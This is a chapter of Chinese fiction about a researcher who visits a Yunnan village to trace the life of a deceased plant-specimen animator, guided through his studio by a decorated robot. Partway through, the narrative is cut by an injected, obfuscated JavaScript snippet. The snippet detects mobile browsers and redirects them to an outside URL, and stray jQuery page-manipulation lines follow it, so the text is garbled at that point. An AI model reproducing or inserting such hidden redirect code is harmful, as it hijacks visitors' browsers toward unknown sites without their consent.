01 他是桑树的孩子
好久没进村子了，此刻，老延正载着姜籽，开了将近两个半小时的盘山路，就快要抵达襄荷山南麓的一座村庄了。
二更有两个月没有见姜籽了。夏末，两人终于重逢。然而很快，二更又要因一项临时的工作暂离云南。
这次，只有姜籽与老延进山。任务有些特别，逝者是一位公众人物，一位被誉为“绿野森林童话大师”的动画短片导演。老延安排的负责同题人物纪录片的摄制组于两天前就抵达了。纪录片拍摄工作已经开始，将按照纪念名人的常规流程，拍摄人物成就、生平事迹。姜籽则要独自承担探访任务，延续对一位独居逝者的视角，挖掘更为细腻乃至隐匿的故事。
一路上，姜籽吐了晕，晕了吐，终于在行程最后半小时，肚子里彻底没了东西。她无力地歪着头，在副驾驶上归于平静，一路看着窗外森林。
满眼都是绿。
山间的绿，层层叠叠，彼此搭着彼此。所有的绿在盘山路上跳跃，像寒夜里草原上的篝火，随着车速，晃动着迷人的星焰。姜籽感受到平和与温暖，把绿看进去了，胃也舒服多了。
蘘荷，并不是一座山，而是一条西北横向东南的巨大山脉，延绵300多千米，纵跨5个温度带。由下至上，按照光照强弱，渐次形成了亚热带、温带、亚寒带、寒带4个垂直气候带。每一部分都有丰富、独特的植物资源。这里有全国47.2％的国家重点保护的野生植物，比如，领春木、水青树、秃杉、桫椤、红豆杉、云南榧树等国家级保护植物。一些植物在这里繁衍出丰富的谱系，比如仅杜鹃就有200多个不同种类。这里同时有占全国总数的59.4％的国家重点保护野生动物，小熊猫、针尾鼹、林跳鼠等原始孑遗动物得以躲过冰期存活下来，与大熊猫齐名的国宝滇金丝猴、珍稀濒危动物羚牛、雪豹、黑仰鼻猴等动物的身影隐匿其中。此外，山林中还藏着各种药材、香料，比如雪上一枝蒿、胡黄连、草血竭、雪莲花等。
桑寄生，就生在这片森林里，也最终回到了这片森林里。
他是突然莫名其妙地出现在森林里的。
桑寄生。傈僳族人。但最初捡到他的养父是一位佤族青年。
襄荷山阳荷村，居住着以傈僳族为主的数支少数民族，包括佤族、景颇族、汉族。其中，汉族人源于上世纪50年代深入云南的汉族干部前辈。阳荷村也是在那时建立的。汉族干部从深山里，将三、四个生计十分艰难的村子汇集到半山腰一处相对安全的地带，重新组成一个新的多民族共生的村子。几个民族虽然不同，却都信仰山神。不同民族山神居住的山头不同，但山神们都答应了。于是这个新的村子定名为阳荷，从1952年开始正式存在。
在村子成立的第二十年，桑寄生出现了。
桑寄生是一个孤儿。他在阳荷村背靠的那座山林里被捡到。那是阳荷村建村后，村民们新认的共同的山神。山中有一棵巨大的桑树。被发现时，桑寄生就坐在桑树下，只有三、四岁的样子。桑葚熟了，小孩身上、手上全是紫色。人们问他从哪里来，他不说话，也没反应，只是定定地看着捡到他的男人笑。
他就像是凭空出现的一个孩子，靠着山神赐的桑葚活了下来。
这棵桑树是阳荷村的桑树王，粗大健壮，二十几个人才能环抱住树干。在阳荷村的新村民搬到这里之前，几百年前，它就在这里生根发芽。搬来之后，阳荷村的第一任村民在树上系上祈福的红彩带，举办了祭拜仪式。人们相信，这棵巨大的桑树是山神的化形，他们之所以从深山里搬下来，来到这棵树的身边，也是注定的，是它召唤的。而桑寄生出现在这棵树下，他就是神灵送来的孩子。村民们收留了他，带他吃着百家饭长大。
桑葚的染色能力非常强，桑寄生被发现时，双手、小脸，甚至连鼻头都是发紫的。他身上的紫色，洗了一个多星期，才逐渐褪去。小孩的小脸变得清秀起来。村民们这才发现，孩子脸色明明很白净，瞳孔是褐色的，但细看，似乎又是紫色的。
他是桑树的孩子，所以叫桑寄生。村子里没有人桑这个姓氏，但村里的老人问了山神，山神说可以，于是，孩子的名字被正式登记了。
上世纪80年代，改革开放之后的几年里，有一些艺术家进襄荷山写生。阳荷村是周边远近闻名的民族团结村，村子的氛围好，环境也好，一位老师选择在村中小住。他的一些油画材料的边角材料被这个孩子看到，他竟然信手涂抹出了一幅绚丽的画。
老师敏锐地觉察到孩子的艺术天赋，又听说了孩子的身世，在感叹他身世神奇的同时，亦被村民的善良淳朴感动。老师与村中老人商议，将孩子带出山村，跟随他学习绘画。老人们又一次请问了山神，山神允诺。孩子被带出了山村。
在那之前，桑寄生一直没有开口说过话。在那之后，桑寄生开了口，却仍然不常说话。这没什么，他已经有了另外一种和这个世界交流的语言。
上世纪90年代初，这个孩子考上了云南省艺术学院，后来又去了杭州的国美深造。此后十多年间，桑寄生依靠传奇的艺术天赋，以植物为材料制作偶材动画，成为国内这一领域的开拓者。
2012年，40岁的桑寄生在杭州创立了自己的工作室。此后几年间，伴随着事业的巅峰期，桑寄生的身体却出现了问题，几次因气胸住院调养。
2020年，桑寄生返回云南，将工作室搬回到了家乡。在做这个决定之前，阳荷村又一次进行了搬迁。这次，是按照国家生态保护的需求，将被划入了国家级森林公园生态红线区内的原村庄进行了整体搬迁。新村位置位于交通条件与生态安全更好的一片山脚下的平坝。桑寄生借着这个时机，参与了新村的公共空间的改造与建设，出资建设了新村的图书馆、公共食堂、活动室、操场等。
前后算起来，桑寄生用了八年时间，见证了一座新村的诞生，也将他自小受到的恩泽化成一场新雨，洒向新村的大地。由于经历了两次搬迁，村子一次比一次更加开放，一次比一次更加积极地拥抱着时代的进步。因此，新村成立后，村民们也接纳了桑寄生的建议，将一部分新村公共区域对艺术领域的新秀们开放。村子的中心广场地带陆续建立了对外交流的文化空间与展馆、简易的艺术新村民宿舍、对外食堂、篮球场和运动馆。
2025年，桑寄生因气胸恶化去世。去世之前，他常年独居。这不意味着他孤单、无人照料。桑寄生的工作室与艺术新村民宿舍区同在一处。村庄日益热闹，年轻力量流动着不断注入。可以说，他人生最后几年，一直是被志同道合的新生力量陪伴着，保持了适度交流与独自生活并存的舒适姿态。
- -
“我的人生从一棵树开始，从小，我就知道我的来处。
从小，我也知道我的归宿。
所以伤心了，孤单了，我就会回到森林。
可惜，这一生中，我回来的似乎有些晚。
无碍吧，总归是回来了。
像一场梦要结束了，也像新的故事将开始。
我走入森林，月光明亮，树叶明亮。一切都是明亮的，我可以看到很多动物，看到他们的眼睛。”
......
- -
姜籽在副驾读着桑寄生自搬回云南后唯一一次接受媒体采访的资料。这片报道的名字叫做《一直在银白色月光照耀下的树林里走》。她留意到记者的采访手札：桑寄生回避了面谈，而是选择电话采访。信号并不好，他解释说，自己在森林里。采访通话断断续续，桑寄生的思绪也是断断续续的。语速很慢，时常停顿，顿一下，就是一、两句话的空子，记者需要很耐心地等。起初，记者想围绕创作主题和风格进行一次艺术之旅，最后只能根据现实情况，勉强呈现出一场意识流的森林漫步。这已经很尽力了。报道按照桑寄生的意愿，没放他的照片。所有涉及人物介绍的地方，都用了一片树叶代过。
“真是一个传奇的人啊！真想见见他。”姜籽放下报道资料，悠悠地说。
“马上就到了”，老延回应。她注意到，自从开始读这份几年前的旧报纸，姜籽看起来就忘了肠胃的痛苦了。这次，姜籽将独自去挖掘桑寄生的故事。二更临走前，交代了姜籽一些锦囊。简单总结就是，做提纲，少说话，多多忽闪着她那双圆溜溜又无辜的大眼睛，对着讲述者凝视。姜籽背熟了，但不十分有把握。
老延原本很担心姜籽的身体情况，但目前看来，似乎还好。两人在村子的公共区域停车，停车场居然全满了。
隔壁村子种甘蔗，一个月前办了一个真人版偷甘蔗的逃跑活动。一时间，很多人专程开车来山里甘蔗林偷甘蔗，临时占用了阳荷村的停车场。村子一下子变得更热闹了。
新阳荷村的中心是两个很大的篮球场。摄制组的无人机还在天上飞，拍摄山林与村落的空镜头。离篮球场最近的建筑是村里的图书馆，三层建筑，外部饶了一道白色的回形楼梯，像是给这栋楼缠了一道螺旋形的蕾丝花边。按照老延提前打点好的行程，姜籽可以先到图书馆三楼的图书室，等待这次桑寄生人生之旅的向导。安置好姜籽后，老延前去与摄制组汇合，姜籽则慢慢地一层一层独自上楼。
图书馆一层，是一间宽大的图书室与一间民族乐器展厅。后者既是展厅，也有传统乐器的收纳功能。比如展，厅中的木鼓，平时做展品，在节庆时会取出来当做庆祝仪式的重要乐器来使用。这类古老的节庆乐器，通常会被收纳在村长或是有声望的老人家中，甚至要当半个神灵供奉。过去，它会被专门埋在家里的院子里，或是放在某个僻静处，逢年过节要烧香，只在举办重要仪式时才会隆重地请出来。木鼓能出现在村子的公共图书馆，表明村里人对新村这类新型公共空间的认可。
二层也有一件小型的农业图书室，此外还有放映室、会议室。二层有一个狭长的露台，二、三十盆九尾狐多肉，有长有短，依次排开，各自展示着姿态不同的尾巴。最长的尾巴已经一米多长，像个白胡子老头，一边晒暖，一边抽着长长的水烟筒。最短的才刚扦插，个头很小，像两个月小土狗的尾巴，花盆倒是很大，看起来是被寄予了厚望。这些大大小小的花盆，大多是动物造型，一只独立的九尾狐被栽在猫咪造型的花盆里，没错，猫是独行动物。也有八、九十只扦插的小尾巴，紧凑地依偎在一起，一起住在一只狐狸造型的花盆里。不知哪位园丁，设计如此周全，姜籽感受到一种很欢乐的喧闹。
三层，是面向村里面孩子的儿童图书室。图书室室内的设计，如果俯瞰，很像人的一只眼睛。上下眼睑分别是半弧形的阅读座位。中间的眼球则是一个环形双面书架，内外都放着少儿读物。姜籽看看时间，她大概要在这里等个半小时，于是决议好好看看。她朝中心处的眼球中走，环形书架上，自下而上，按孩子的身高，依次摆放着不同年纪孩子适合的儿童、青少年读物。姜籽个子不高，打算从青少年文学里抽一本诗歌选集，动手时，忽然发现书架上有一张明信片随意地塞着，露出一块小三角。小三角像一种记号，也像是一道谜语。她走近，轻轻地抽出，上面写着字：
青花瓷
在轮下
远离尘嚣
咏叹生死
字迹很大，挤满了整张小卡片，四四方方的。姜籽觉得写字的人肯定是个国字脸。这内容呢也十分抽象，有点像，诗？
在斜对角线的书架上，又有一张藏着的小三角。她又抽出看：
一把雨伞给这天用
狐狸那是已是猎人
诱拐
孤独的你
这次的字迹很瘦长，用了带香气的笔芯，字号均匀，字迹下还花了几多小花。
移步到更远一些的地方，从一本厚厚的植物百科图册中，她又抽出一张：
阴沉沉的天
从海到海
一生太长了
等等，还有几张。
萌芽
初恋
心动
牵手
惜别
复活
疯狂
玩笑
输赢
盆景
- -
《最后一课》
我坐在博得拉河畔, 哭泣
我的1977
爱情是最后一座桥
爱情是有毒的
- -
一男一女
走过青春
爱与孤独
迟暮鸟语
最后一张，姜籽反复看了几遍，都没有看懂。
寻羊冒险记
玻璃球游戏
送菜直升机
僧侣的婚礼
这都哪跟哪儿啊？这些卡片上的内容不着四六的，字迹也各自不同。视线与心神都在这几张让人摸不着头脑的纸片上时，一个女孩走进了图书馆。
“猜到了吗？”女孩的声音像薄荷味的冰淇淋，清清爽爽的化开了室内的沉静和湿热。
关关，桑寄生的侄女，之一 -- 因为桑寄生在村子里有许多个父亲、母亲、叔叔、婶婶，也就有很多的侄女。她本名叫谷桉，叫得快一些，就是关关。所以，从上学开始，她就有了关关这个名字。女孩看起来和姜籽年纪相仿。她留着齐刘海，短发到肩，眼睛很大，眼角尖尖，一双标准的杏仁眼。说话时，嘴角天然得带一些弧度，让人感觉很亲近。她很像森林里的一只小动物，眉眼嘴角的那点弧度，还带了种坦荡的野性气质。姜籽一见，就觉得赏心悦目的。
只是，她的脸上依旧笼罩着一层层困惑。她只得先按下对女孩的赞赏，无奈地摊摊手，摇了摇头。
“这是我叔叔和小孩子们玩的游戏。”关关说，“的确很不猜，因为所有的词都是，是现成的，所以的组合方式都很随机。你们手里拿到的那几张，应该是初中生写的。毕竟他们个子高一些，认识的字多一些，所以句子可以拼出三、四行，甚至更多。但如果抽到的是两三行的卡片，位置又低，就是再小一些的孩子写的。”
“这是，书名？”姜籽问。
“猜对了！”关关拍了下手，表示鼓励。
桑寄生每年都邀请一家诗歌教育机构来村里做一次诗歌教育。孩子们写，他也一起写。这个书名游戏是诗歌教育的一部分，作为活跃课堂气氛的前奏来用。有个脸圆圆，眼睛也圆圆的女老师，名字叫任豆。她带着桑寄生和孩子们一起从书架中挑选能够凑成一首诗的书名。为一本书，找另一本书或者更多的书，让书本和书本之间能够对对子，做朋友。
这个游戏，原本是任豆老师为了解决问题想出来的。村子里的图书馆建好不久，书越来越丰富，但孩子的积极性不高。三层的图书馆更多是作为自习室使用的，很多孩子对书提不起兴趣，根本想不到去摸一模看一看。任豆和桑寄生一起商量，做了这个游戏设计，效果很好，很多孩子玩着玩着，对开始对书感兴趣了，不再和书有距离感了。临走前，她告诉大家，无聊了，不开心了，即便她不在，大家也可以来这里玩这个游戏；一个人，两三个人，都可以玩这个游戏。就当是她的想念了。
图书室的藏书量相比城市里的儿童图书馆，自然不算多，但给村里的孩子阅读、玩游戏，已是绰绰有余。
在关关谈论书名游戏的时候，姜籽又忍不住，一直盯着关关的衣服看，准确来说，是贴在深紫色短袖上的一个袖章，上面是百香果图案。
哦，这原来，也是位陌生的故人啊。
那是两年前的事了。姜籽刚回到昆明不久，邮箱收到一封邮件，来自“Y2K布灵布灵协会”。这是一帮喜欢Y2K风格的年轻人创办的协会，即将在翠湖举办第一场Y2K复古派对。所谓Y2K，是指千禧年前后那一代年轻人钟爱的流行风格，如具有科技感、未来感，或是带有金属、荧光、透明特色等流行元素的服饰、音乐乃至生活方式。这些元素反应了他们对于未来生活与科技的憧憬和幻想。协会看中了姜籽曾为一场植物主题展览绘制的一幅画作，写信询问是否可以有偿授权。他们打算把这朵花的图案做成入场的纪念臂章。
那张被青睐的图，是百香果的花。
看过百香果或是西番莲属植物开花的人，很难不对其印象深刻。它们的形状与颜色乃至神色，都是妩媚妖艳风格的。花朵色彩明艳饱满，对比度强烈，花瓣呈现波浪感的条状，花瓣、外副花冠、内副花冠在视觉上形成炫目的组合，花开的姿态也热烈奔放，完全不吝啬对人类直白的挑逗。如果以花拟人，百香果的花就是穿着瑰丽华服、舞姿魅惑的异域美人，眼波里都是迷情。
姜籽应允了，但因为时间原因，没能去成聚会，后来也渐渐把这事忘记了。没想到，今日，穿越森林，竟看到了臂章的成品。
姜籽正在犹豫要不要开口问问，却被关关的提议直接打断了。
“我带你去我叔叔的工作室看看吧。”关关转身，一指图书馆旁边一片竹林。竹林中，隐隐约约能见一个洞。
那......好像，真的是一个洞啊！姜籽有些不解，面对这个洞，百香果被迅速得忘记了。
几分钟后，关关带着姜籽站在了洞门口。这洞，在不久前老延团队完成的航拍里，看上去很像是一个蛋，一颗产在草地上银白色的蛋，又或者，像一朵闪着荧光生在树林之中浑圆的菌子。洞有一米二、三高，人需要低个头，钻一钻，才能进去。洞的外表看起来很原始，不加任何精致的修饰。
姜籽犹豫是否要动。身旁的关关并不言语。这时，灰暗洞中，晃悠悠走来一个什么东西，中空，有两个圆溜溜的东西在闪烁。几秒后，一只白色的的机器人，现身了。
“你好。请进。”机器人顶着一个圆形的蘑菇头，头顶被贴上两个猫耳朵，机械手臂本来是有人形手指的，但被套上了一对内里掏空的网球，像是这几年流行的仿真机器人的机器猫版本。
姜籽一时太过惊讶，弯腰揽住关关开始哈哈大笑。快把眼泪笑出来的时候，忽然想起来，自己还在工作。她不好意思地站远一些，清了下嗓子，好好道了歉。又仔细
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294819|198549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看看这位机器人，他原来的样子应该也是身形流畅，十分彰显科技感的。“太科技了，我叔叔不喜欢。所以我们给他打扮了一下，每个人都往他身上加了点东西，结果，就成这样了”。
关关轻轻推着姜籽的背后，引她迈入了这间奇特的工作室。
洞穴很短，只是装饰性质的，低个头，走几步，就能进来了。内里是一间十分宽敞的工作室，空间很大，但借助区间分隔，形成了迷宫般构造。很久没有玩过这种迷宫游戏了，二十多年前，姜籽在迷宫书里用笔体验过这种乐趣。如今站在一道道区隔面前，过去的技能已经完全忘记了。
“别急，有他。”关关示意姜籽跟着机器人走。
“因为我叔叔-- 哦，到了这里，我还是叫他‘桑导’-- 桑导去世后，我们在整理这座纪念馆的时候，对于之后谁来承担导览的任务，讨论了很多次。包括我在内的工作室成员多少都有一些社恐。我们不是擅长和别人交流的那种人，大家也都有自己的工作。所以，就有了它。我们叫它，‘阿桑’。”
阿桑发话了，“接下来，请随我游览桑寄生导演的动画短片艺术生命旅程。”
阿桑的声音，有一些怪异的沙哑，像一只吞下了青蛙的猫。关关解释，这是桑寄生自己选的。起初，他甚至希望阿桑带一些口吃。然而效果着实不好，被众人驳回了。
“说到动画短片，或许，您会知道《三个和尚》。没错，这是我国经典的动画短片，从古谚语中的三句话引申成了一部动画。这类广为人知的经典动画短片其实并不少，比如，还有《崂山道士》，国画山水背景与立体人物相结合的一部艺术风格独特的早期作品。
动画短片是动画长片的基础。动画的英文，根源于拉丁文中的anima，是灵魂的意思；animare是赋予生命的意思，即使之活起来，由此我们可见动画的精髓 - - 动画就是创造生命。这些‘生命’通常会在幕布上延续40分钟以内，以10～15分钟长度居多。
二战后，动画长片开始逐渐商业化，而短片，虽不像长片那样受人瞩目，也在实验性、多元性等角度找到了施展空间。
桑寄生的动画短片，以植物标本为载体，演绎中式的森林童话。这类作品常被归类至偶类动画。20世纪60年代到80年代，剪纸动画、真沙动画、玻璃绘制动画、黏土动画、玩偶动画等多种动画形式在短片领域涌现，偶类动画短片是其中的一种，常见的有木偶、黏土偶、布偶。
上世纪80年代，中国动画短片呈现出丰富多彩的表现，尤其是对各种民族化风格的探索。代表作品《镜花缘》就是经典的偶类动画。随着时代发展，塑胶偶、海绵偶、毛线偶等新材料出现了，每一种材料都具有别样的风格。桑寄生独创的植物标本动画，也被归入此类，特称为植材动画。也有一些人认为，桑寄生开辟了一条独一无二的新道路，将其另分为标本类动画。
无论是哪一种材料做偶，从制作到拍摄，都需要动用很多资源，耗时长久。比如，人偶动画的中，人物的颤抖、流汗等动作，看似简单，完成难度却很大。上美的早期作品做出了珍贵的尝试，留下了宝贵的文化遗产。”
阿桑带着两人在迷宫展室中穿行，时不时停顿下来，引导人观看悬臂上悬挂的短片。他在介绍时，会适时挥动一下两只被改造后显得笨笨的网球手，像一只长了机器臂的铁甲招财猫。姜籽很想去摸摸它的手臂，但每次都克制住了。
“您即将走入的这条长廊，展示了桑寄生导演的部分植材作品，包括短片节选视频，与植材标本。
您首先看到的是桑导的大学毕业作品，也是他早期的代表作，叫做《乡愁》。
作品灵感来自于桑导在上世纪90年代读大学时的室友的一段记忆。这位室友出生在长江边的竹乡。记忆中的青春期，就是一人，一条江，一个潮湿的城，一个薄雾未散去的清晨，他坐在江边小店的长条凳上，喝一碗热乎乎的红糖酒酿蛋。室友在大学时期参军，并将生命永久留在了冰雪高原上。
《乡愁》这个作品，是桑寄生第一次用植物为材料讲故事的试验。四川的竹子和芦苇是主要的材料，它们呈现竹林与芦苇荡，也表达薄雾与长江，亦蒙上了云贵高原上的霜雪。作品发布后，引发了偶类动画分类与材料应用方面的诸多讨论。桑寄生认为，用材只是手段。短片内在的精神底色与艺术气质，才是最独特的标签。
在创作《乡愁》之前，桑寄生已经剪了多年的树叶了。我们可以将其视为桑寄生早期灵感的来源。您可以理解成，用叶子做剪纸或者雕刻。这些早期作品有一些三星堆文物一般迷离的气质，因为大多数叶子的形状本身就不是圆润的，信手剪下的图案往往带着大自然最本真的设计，完全超乎人的预料。
您可以在我们的手工体验台，用备好的美术纸亲自尝试一下。这些锥形，匙形，卵形，长圆形，菱形，肾形，三角形，扇形等的叶子上，即便您信手剪一个很中规中矩的图样，待您打开它，大自然雕琢的天然叶形，也会让剪纸成品带上神秘莫测的气质，剪出的图像，或许也是出乎您期待的。
捡叶子，是桑寄生排解青年时代孤独的方式，也是他最早利用植物开始创作的契机。桑寄生曾在受访时提及，从叶子开始创作，与他的童年记忆有关。在他长大的山野村落，人们会用叶子做乐器，吹出声响来自娱自乐，这种娱乐活动又被称为‘吹叶’。叶子与人是很亲切的，可以吹，当然，也可以作为剪裁的材料。可惜的是，这些早期作品并未存留下来。我们无法想象那些初期不完美的小怪物是什么模样。但这是之后他作品的起点，是很多作品的灵感来源。
在这里，您可以看到来访者剪出的一些树叶作品，您可以看到他的一些早期手绘手稿。”
姜籽停下来细看，阿桑检测到客人的脚步，也停了下来，面部屏幕上打出一群小鸭子在原地等待的图样。
几张手绘草稿上有他的签字。桑寄生的字，坦白说，很奇怪。与其说是字，不如说是，三个圈圈叠在一起，下面再加一个歪不留丢的奇异图形，隐隐约约，能看得出是个“桑”字。如果不是提前知晓答案，姜籽绝对猜不出，这圆滚滚的圆圈套圆圈是什么寓意。
检测到客人开始挪步向前，阿桑继续开始介绍。“这些早期作品，大多是单独的小品，尚未形成体系。不过，也各有意趣。
其中一幅，名叫《拍拍》。拍拍是一个成年人面对恐惧，想象出的一个朋友，灵感源自于《阅微草堂笔记》中对于一个巨型红毛怪物的简单几句的勾勒。拍拍是最早的短片作品之一，所用的材料是风干后帝王花的花瓣，借鉴皮影戏的方式，以层层拼叠的拼接，展现出一个巨大红棕色神兽探出画框，试图与人拥抱的姿态。这部很短的小片，主角造型上既有皮影戏的风格，也借鉴了云贵少数民族刺绣的技法，如打籽绣、双线绣等。这一阶段，桑寄生的短片侧重多种西南民族艺术的游艺与追溯，故事情节简单，内容并非原创，表达的内容相对有限。
但这些轻巧的艺术小品，为他接到了一些商业性的广告创意设计与非遗专题的纪录片邀约，促生了桑寄生工作室的创立。在杭州近八年时间里，工作室逐步找到了艺术与商业之间的平衡。很多商业或政府购买的公益广告，广泛投放于江浙地区的公交车、地铁、商圈等各处。
在杭州的近十年间，桑寄生的创作迈入了鼎盛时期。被誉为动画短片界“蓝宇”的爱情三部曲，是他尝试大量使用彩色的鲜花标本与永生花制品为材料，包括制作难度较大的花材，如粉花风铃木等。三部曲中的最终曲，剧情是这对恋人的离散。影片中的人物都是冰块凝固的方式制作的，呈现出一种流光轻盈、琉璃易碎的氛围。观众会感受到一种流动的、不确定的光影，这是刻意为之的结果。
桑寄生导演后期的代表作品《熹》，用植材的舞蹈与光影来阐释中式阴阳哲学，讲述了一个老守墓人与守山人最后归于深山的故事。《熹》的植物用材都是阴生植物，作品灵感来自于他小时候随一位养父进山采药的经历。在高原山阴处，生长着阴生和半阴生的植物，许多可药用。它们能在低光照的环境下生存，充分吸收光纤，如雪胆、黄精。作品中的光源，不是自然光，也不是摄影棚里的光，用一个太阳能板链接到阳台，并接入一只落日灯。灯直接由太阳提供动态的光源，随着阳荷村的日出时刻，精准地亮起，追随日落时刻精准地灭掉。但是在日落之前，依靠余晖闪亮时，很不稳定，所以灯会自然的抖动，就像过去人们点蜡烛，蜡烛跳火星时烛光的抖动效果。这些不同的日光效果，被应用于短片之中。
现在，我们来到了放映厅。我们整理了桑导的作品，从1997年一直到2024年。您可以详细观看，也可以在这里休息一下。感谢您一路相随！”
阿桑的任务顺利完成，说完再见，就转过身，跑去一个角落充电了。姜籽朝着他的背影挥挥手，这才发现，阿桑屁股后面贴上了皮卡丘的尾巴，即便是一个机器人，也有变得像古老话传说中的“四不像”了。